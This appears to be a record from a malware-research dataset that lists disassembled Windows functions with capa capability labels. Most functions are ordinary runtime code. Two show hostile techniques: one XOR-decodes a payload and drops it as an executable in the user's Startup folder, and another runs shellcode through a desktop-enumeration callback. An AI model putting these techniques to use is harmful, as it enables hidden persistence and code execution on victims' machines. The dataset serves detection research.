joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001472
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x80]
call dbg.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x18
add edx, eax
movzx edx, dl
sub edx, eax
mov eax, edx
mov byte [rbp + 0x87], al
lea rax, [0x140616c04]
mov qword [rbp + 0x78], rax
lea rax, [0x140616c00]
mov qword [rbp + 0x70], rax
lea rax, [0x140005e00]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0x8c], 0
jmp 0x140001511
mov eax, dword [rbp + 0x8c]
lea rdx, section..data
movzx eax, byte [rax + rdx]
xor eax, 0x31
mov ecx, eax
mov eax, dword [rbp + 0x8c]
lea rdx, section..data
mov byte [rax + rdx], cl
add dword [rbp + 0x8c], 1
mov eax, dword [0x140635e38]
cmp dword [rbp + 0x8c], eax
jb 0x1400014e4
mov rax, qword [rbp + 0x78]
movzx edx, byte [rbp + 0x87]
mov byte [rax], dl
mov dword [rbp + 0x88], 0
jmp 0x140001564
mov edx, dword [rbp + 0x88]
mov rax, qword [rbp + 0x68]
add rax, rdx
movzx eax, byte [rax]
mov ecx, dword [rbp + 0x88]
mov rdx, qword [rbp + 0x68]
add rdx, rcx
xor al, byte [rbp + 0x87]
mov byte [rdx], al
add dword [rbp + 0x88], 1
mov rax, qword [rbp + 0x70]
mov eax, dword [rax]
cmp dword [rbp + 0x88], eax
jb 0x140001538
lea rax, str.appdata
mov rcx, rax
call sym.getenv
mov rcx, rax
call sym.strlen
add rax, 0x44
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x60], rax
lea rax, str.appdata
mov rcx, rax
call sym.getenv
mov rdx, rax
mov rax, qword [rbp + 0x60]
mov rcx, rax
call sym.strcpy
mov rax, qword [rbp + 0x60]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp + 0x60]
add rax, rdx
movabs rdx, 0x6f736f7263694d5c
movabs rcx, 0x6f646e69575c7466
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdx, 0x74726174535c7377
movabs rcx, 0x72505c756e654d20
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
movabs rdx, 0x535c736d6172676f
movabs rcx, 0x775c707574726174
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
movabs rdx, 0x6f6373776f646e69
movabs rcx, 0x2e746e656e6f706d
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rcx
mov dword [rax + 0x40], 0x657865
mov rax, qword [rbp + 0x60]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 2
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x54], 0
mov edx, dword [0x140635e38]
lea rcx, [rbp + 0x54]
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, edx
lea rdx, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
lea rdx, [rbp - 0x20]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x20], 0x68
pxor xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movq qword [rbp - 0x30], xmm0
mov rax, qword [rbp + 0x60]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x118
pop rdi
pop rbp
ret
Function at 0x1400019c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001a30
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140639094]
mov rbx, rcx
test esi, esi
jle 0x140001b60
mov rax, qword [0x140639098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a7b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b05
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a60
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001b82
mov rax, qword [0x140639098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140639098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b67
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001afe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b10
add dword [0x140639094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140639098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001afe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001a88
mov rax, qword [0x140639098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002110
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140639100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1406390e0]
test rbx, rbx
je 0x14000216c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002163
test eax, eax
jne 0x140002163
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002148
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002398
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400023b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400023fd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400023f4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400023ff
add rax, 0x28
cmp rax, r9
jne 0x1400023e0
xor eax, eax
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002490
mov rdx, qword [0x1406363a0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000247e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000247e
cmp word [rax + 0x18], 0x20b
jne 0x14000247e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002490
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002469
add rbx, 0x28
cmp rbx, rdi
je 0x140002490
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002460
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400024a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1406363a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400024c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400024c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000251d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002514
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400024c0
add rax, 0x28
cmp rax, r9
jne 0x140002500
xor eax, eax
ret

Function at 0x140002520
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1406363a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000253f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002548
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000253f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002560
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1406363a0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002580
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002588
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002580
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400025d0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400025c7
test rcx, rcx
je 0x140002580
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400025b8
xor eax, eax
ret

Function at 0x1400025e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1406363a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002608
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002620
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1406363a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002640
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002648
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002640
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002640
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002694
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026a0
add rdx, 0x28
cmp rdx, r9
jne 0x140002680
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400026b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1406363a0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026d2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026e0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026d2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026d2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400026d2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002735
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002748
add rdx, 0x28
cmp r10, rdx
jne 0x140002720
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002757
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002767
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000273e
test ecx, ecx
jg 0x140002750
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbx
sub rsp, 0x20
mov edx, 1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movzx ecx, byte [0x140004664]
mov rbx, rax
mov byte [rax], cl
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsW]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.success
call fcn.140001010
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400019a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019ec
xor al, al
add rsp, 0x28
ret
Function at 0x18000cfb0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x18000d08e
lea rdx, str.yaron
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1800667a8], rax
jmp 0x18000cfdc
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
lea r8, [0x18000cf80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x20
call fcn.18003f740
mov rcx, rax
mov qword [rsp + 0x58], rax
movabs rax, qword [0x1424314a8]
mov rdx, qword [rax + 0xf0]
call fcn.18000c5f0
nop
mov qword [0x180066798], rax
cmp qword [rax + 0x18], 4
jb 0x18000d041
mov rax, qword [rax + 8]
lea rdx, [0x18000cc70]
mov qword [rax + 0x20], rdx
mov ecx, 0x20
call fcn.18003f740
mov r8, rax
mov qword [rsp + 0x58], rax
movabs rax, qword [0x1424314a8]
mov rcx, qword [rax + 0x48]
mov rdx, qword [rcx + 0x14cfb8]
mov rcx, r8
call fcn.18000c5f0
nop
mov qword [0x1800667b8], rax
cmp qword [rax + 0x18], 8
jb 0x18000d08e
mov rax, qword [rax + 8]
lea rcx, [0x18000cdf0]
mov qword [rax + 0x40], rcx
mov eax, 1
add rsp, 0x38
ret

Function at 0x18000e930
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18000e98d
lea rbx, [0x180046cb0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x18000e974
cmp r10, 2
jb 0x18000e974
cmp byte [r9], r8b
jne 0x18000e974
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x18000e950
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18000e9cf
lea rbx, [0x180046cb0]
cmp r8b, 0x23
jne 0x18000e9b3
cmp byte [r9], r8b
jne 0x18000e9b3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x18000e9a0
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x1800112e0
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0xf0]
lea r8, [0x180046cb0]
movsxd rcx, dword [rcx + 0xe8]
mov r11d, edx
shr r11d, 0x18
mov r9d, edx
shr r9d, 8
mov r10d, edx
shr r10d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r10b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, r11
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x1800667c8]
not ebx
cmp dword [rcx + 0x3ef8], ebx
jne 0x180011375
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.180023b70
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x180014ce0
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x180014d30
lea r11, [0x180046cb0]
nop dword [rax]
cmp r9b, 0x23
jne 0x180014d13
cmp byte [r8], r9b
jne 0x180014d13
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180014d00
mov rcx, qword [0x1800667c8]
not eax
movsxd rdx, dword [rcx + 0x3e90]
mov r9, qword [rcx + 0x3e98]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x180014d91
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x180014d89
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x180014d8c
mov rdx, r8
test rdx, rdx
jne 0x180014d60
cmp r9, r10
je 0x180014da0
cmp dword [r9], eax
jne 0x180014da0
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret
Function at 0x180022060
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c20], 0
lea rbx, [rcx + 0x5c28]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x180022107
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1800220ba
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.180024d10
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.18000eda0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c20]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c30]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x18006677f]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18002210f
mov rcx, rbx
call fcn.18000eda0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x180022460
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, qword [0x1800667c8]
cmp byte [rbx + 0x5b81], 0
jne 0x1800225b2
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1800225ab
lea rdx, [0x180044a44]
call fcn.18000e9e0
mov rdi, rax
test rax, rax
je 0x1800225ab
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1800225a2
xor edx, edx
mov r8d, 2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1800225a2
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x1800225a2
xor r8d, r8d
mov edx, ebp
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1800225a2
cmp rsi, 0xffffffffffffffff
je 0x1800225a2
mov rax, qword [0x1800667c8]
test rax, rax
je 0x18002251f
inc dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x1800225a2
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rdi
cmp rax, rsi
je 0x18002256f
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800667c8]
test rax, rax
je 0x180022564
dec dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800225ab
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x180022585
mov rdx, rsi
mov rcx, rbp
call fcn.180022930
mov rax, qword [0x1800667c8]
test rax, rax
je 0x180022597
dec dword [rax + 0xf4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800225ab
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov byte [rbx + 0x5b81], 1
movss xmm0, dword [rbx + 0x5b84]
xorps xmm1, xmm1
comiss xmm0, xmm1
jbe 0x180022647
subss xmm0, dword [rbx + 0x18]
comiss xmm1, xmm0
movss dword [rbx + 0x5b84], xmm0
jb 0x180022647
mov rdi, qword [rbx + 0x20]
xor ebp, ebp
test rdi, rdi
je 0x18002263a
mov rax, qword [0x1800667c8]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], rbp
mov dword [rax + 0x5b84], ebp
call fcn.180022ba0
lea rdx, [0x180044a48]
mov rcx, rdi
mov rsi, rax
call fcn.18000e9e0
mov rdi, rax
test rax, rax
je 0x180022641
mov r8, qword [rsp + 0x40]
mov r9, rax
mov edx, 1
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x180022641
mov byte [rbx + 0xdc], 1
mov dword [rbx + 0x5b84], ebp
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x180022880
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x1800667c8]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x1800228e3
mov qword [rsp], rbx
lea rbx, [0x180046cb0]
nop dword [rax]
cmp r9b, 0x23
jne 0x1800228c3
cmp byte [r8], r9b
jne 0x1800228c3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x1800228b0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5b98]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x180022917
mov r10, qword [r10 + 0x5ba0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x18002291e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x180022904
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140021a60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x140021a94
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x140021a80
ret
Function at 0x1400284a0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x14002856c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14002856c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140028585
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14002855c
cmp byte [rax], 0x5c
jne 0x140028556
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x140028556
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140028542
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x140028553
test r8b, 0x10
jne 0x140028556
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x140028556
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140023ec0
test edi, edi
jne 0x1400284c0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140023eb0
int3